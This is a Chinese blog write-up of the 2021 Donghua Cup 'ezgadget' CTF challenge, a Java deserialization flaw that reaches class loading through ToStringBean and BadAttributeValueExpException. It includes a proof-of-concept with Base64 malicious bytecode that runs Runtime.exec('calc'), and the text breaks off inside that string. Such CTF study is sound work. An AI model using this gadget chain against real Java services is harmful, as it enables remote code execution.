[东华杯2021] ezgadget

最新推荐文章于 2024-09-14 22:11:27 发布

snowlyzz

最新推荐文章于 2024-09-14 22:11:27 发布

阅读量620

点赞数

分类专栏： JAVA安全文章标签： java spring

本文链接：https://blog.csdn.net/snowlyzz/article/details/128118344

版权

本文详细分析了ezgadget的漏洞，涉及动态字节码加载、对象反序列化及命令执行。通过ToStringBean类的定义ClassByte实现任意代码执行，结合IndexController中的逻辑，利用Base64解密和ObjectInputStream的readObject方法，触发BadAttributeValueExpException的重写readObject方法，最终实现命令执行。文章提供了复现环境配置和POC，展示了漏洞利用过程。

摘要由CSDN通过智能技术生成

复现环境配置：

链接：https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw 
提取码：8do5

运行

java -jar ezgadget.jar

访问127.0.0.1:8888就可以了

分析：

ToStringBean.java

package com.ezgame.ctf.tools;

import java.io.Serializable;

public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public String toString() {
        com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object Obj = null;
        try {
            Obj = clazz.newInstance();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return "enjoy it.";
    }
}

该类继承了 serializeable 接口和 ClassLoader 接口，说明可以字节码动态加载，并且在toString 方法中，看到了 defineClass . 就可以任意代码执行，这里的ClassByte 可控，那我们就可以执行命令字节码文件，构造一个字节码类：

构造代码：

public class Payload {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {

        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAAB